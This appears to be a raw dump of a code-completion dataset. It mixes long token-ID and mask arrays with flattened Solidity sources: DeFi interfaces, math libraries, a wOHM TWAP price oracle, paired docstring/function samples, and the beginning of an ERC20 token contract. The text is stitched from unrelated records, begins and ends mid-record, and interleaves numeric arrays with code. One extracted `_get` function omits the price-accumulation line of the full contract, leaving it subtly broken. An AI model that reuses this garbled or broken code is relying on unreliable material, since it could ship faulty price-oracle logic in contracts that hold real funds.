0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
353,
12328,
12,
11890,
5034,
389,
350,
13,
1071,
1476,
3849,
1135,
261,
6430,
13,
288,
203,
565,
327,
261,
3355,
2413,
63,
67,
350,
8009,
16017,
480,
374,
597,
6548,
63,
67,
350,
8009,
591,
15335,
405,
1203,
18,
5508,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIXED
// File contracts/interfaces/IOracle.sol
// License-Identifier: MIT
pragma solidity 0.6.12;
interface IOracle {
/// @notice Get the latest exchange rate.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek().
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
// File @boringcrypto/boring-solidity/contracts/libraries/[emailย protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/[emailย protected]
// License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/[emailย protected]
// License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File @boringcrypto/boring-solidity/contracts/interfaces/[emailย protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File contracts/libraries/FullMath.sol
// License-Identifier: CC-BY-4.0
pragma solidity 0.6.12;
// solhint-disable
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, "FullMath::mulDiv: overflow");
return fullDiv(l, h, d);
}
}
// File contracts/libraries/FixedPoint.sol
// License-Identifier: GPL-3.0-or-later
pragma solidity 0.6.12;
// solhint-disable
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// multiply a UQ112x112 by a uint256, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z = 0;
require(y == 0 || (z = self._x * y) / y == self._x, "FixedPoint::mul: overflow");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// lossy if either numerator or denominator is greater than 112 bits
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint::fraction: div by 0");
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
}
}
}
// File contracts/oracles/wOHMTWAPOracle.sol
// License-Identifier: AGPL-3.0-only
// Using the same Copyleft License as in the original Repository
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// solhint-disable not-rely-on-time
// adapted from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/examples/ExampleSlidingWindowOracle.sol
interface IAggregator {
function latestAnswer() external view returns (int256 answer);
}
interface IWOHM {
function sOHMTowOHM( uint256 _amount ) external view returns ( uint256 );
}
contract wOHMTWAPOracleV1 is IOracle {
using FixedPoint for *;
using BoringMath for uint256;
uint256 public constant PERIOD = 10 minutes;
IAggregator public constant DAI_USD = IAggregator(0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9);
IUniswapV2Pair public constant pair = IUniswapV2Pair(0x34d7d7Aaf50AD4944B70B320aCB24C95fa2def7c);
IWOHM public constant WOHM = IWOHM(0xCa76543Cf381ebBB277bE79574059e32108e3E65);
struct PairInfo {
uint256 priceCumulativeLast;
uint32 blockTimestampLast;
uint144 priceAverage;
}
PairInfo public pairInfo;
function _get(uint32 blockTimestamp) public view returns (uint256) {
uint256 priceCumulative = pair.price0CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
priceCumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * (blockTimestamp - blockTimestampLast); // overflows ok
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
return priceCumulative;
}
// Get the latest exchange rate, if no valid (recent) rate is available, return false
/// @inheritdoc IOracle
function get(bytes calldata data) external override returns (bool, uint256) {
uint32 blockTimestamp = uint32(block.timestamp);
if (pairInfo.blockTimestampLast == 0) {
pairInfo.blockTimestampLast = blockTimestamp;
pairInfo.priceCumulativeLast = _get(blockTimestamp);
return (false, 0);
}
uint32 timeElapsed = blockTimestamp - pairInfo.blockTimestampLast; // overflow is desired
if (timeElapsed < PERIOD) {
return (true, pairInfo.priceAverage);
}
uint256 priceCumulative = _get(blockTimestamp);
pairInfo.priceAverage = uint144(1e44 / WOHM.sOHMTowOHM(uint256(FixedPoint
.uq112x112(uint224((priceCumulative - pairInfo.priceCumulativeLast) / timeElapsed))
.mul(1e18)
.decode144())).mul(uint256(DAI_USD.latestAnswer())));
pairInfo.blockTimestampLast = blockTimestamp;
pairInfo.priceCumulativeLast = priceCumulative;
return (true, pairInfo.priceAverage);
}
// Check the last exchange rate without any state changes
/// @inheritdoc IOracle
function peek(bytes calldata data) public view override returns (bool, uint256) {
uint32 blockTimestamp = uint32(block.timestamp);
if (pairInfo.blockTimestampLast == 0) {
return (false, 0);
}
uint32 timeElapsed = blockTimestamp - pairInfo.blockTimestampLast; // overflow is desired
if (timeElapsed < PERIOD) {
return (true, pairInfo.priceAverage);
}
uint256 priceCumulative = _get(blockTimestamp);
uint144 priceAverage = uint144(1e44 / WOHM.sOHMTowOHM(uint256(FixedPoint
.uq112x112(uint224((priceCumulative - pairInfo.priceCumulativeLast) / timeElapsed))
.mul(1e18)
.decode144())).mul(uint256(DAI_USD.latestAnswer())));
return (true, priceAverage);
}
// Check the current spot exchange rate without any state changes
/// @inheritdoc IOracle
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
rate = 1e44 / WOHM.sOHMTowOHM(reserve1.mul(1e18) / reserve0).mul(uint256(DAI_USD.latestAnswer()));
}
/// @inheritdoc IOracle
function name(bytes calldata) public view override returns (string memory) {
return "SSpell TWAP CHAINLINK";
}
/// @inheritdoc IOracle
function symbol(bytes calldata) public view override returns (string memory) {
return "SSpell";
}
}
|
if time has elapsed since the last update on the pair, mock the accumulated price values overflow is desired, casting never truncates cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
|
function _get(uint32 blockTimestamp) public view returns (uint256) {
uint256 priceCumulative = pair.price0CumulativeLast();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
return priceCumulative;
}
| 2,182,449 |
[
1,
430,
813,
711,
9613,
3241,
326,
1142,
1089,
603,
326,
3082,
16,
5416,
326,
24893,
6205,
924,
9391,
353,
6049,
16,
27660,
5903,
6956,
815,
15582,
6205,
353,
316,
261,
89,
85,
17666,
92,
17666,
6205,
225,
3974,
13,
4971,
1427,
732,
8616,
2193,
518,
1839,
16536,
635,
813,
9613,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
588,
12,
11890,
1578,
1203,
4921,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
6205,
39,
11276,
273,
3082,
18,
8694,
20,
39,
11276,
3024,
5621,
203,
203,
3639,
261,
11890,
17666,
20501,
20,
16,
2254,
17666,
20501,
21,
16,
2254,
1578,
1203,
4921,
3024,
13,
273,
467,
984,
291,
91,
438,
58,
22,
4154,
12,
6017,
2934,
588,
607,
264,
3324,
5621,
203,
203,
3639,
327,
6205,
39,
11276,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/8453/0x0FfFfC9f8839aC56B0d329654f0F75f7cDda57Fa/sources/XSwapRouter.sol
|
fetches and sorts the reserves for a pair
|
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IXSwapPair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
| 16,695,353 |
[
1,
5754,
281,
471,
18524,
326,
400,
264,
3324,
364,
279,
3082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
31792,
264,
3324,
12,
2867,
3272,
16,
1758,
1147,
37,
16,
1758,
1147,
38,
13,
2713,
1476,
1135,
261,
11890,
20501,
37,
16,
2254,
20501,
38,
13,
288,
203,
3639,
261,
2867,
1147,
20,
16,
13,
273,
1524,
5157,
12,
2316,
37,
16,
1147,
38,
1769,
203,
3639,
261,
11890,
20501,
20,
16,
2254,
20501,
21,
16,
13,
273,
467,
60,
12521,
4154,
12,
6017,
1290,
12,
6848,
16,
1147,
37,
16,
1147,
38,
13,
2934,
588,
607,
264,
3324,
5621,
203,
3639,
261,
455,
6527,
37,
16,
20501,
38,
13,
273,
1147,
37,
422,
1147,
20,
692,
261,
455,
6527,
20,
16,
20501,
21,
13,
294,
261,
455,
6527,
21,
16,
20501,
20,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.7;
//import "https://raw.githubusercontent.com/KevK0/solidity-type-casting/master/contracts/stringCasting.sol";
//import "https://raw.githubusercontent.com/Arachnid/solidity-stringutils/master/src/strings.sol";
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event transferOwner(address indexed existingOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
emit transferOwner(msg.sender, owner);
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
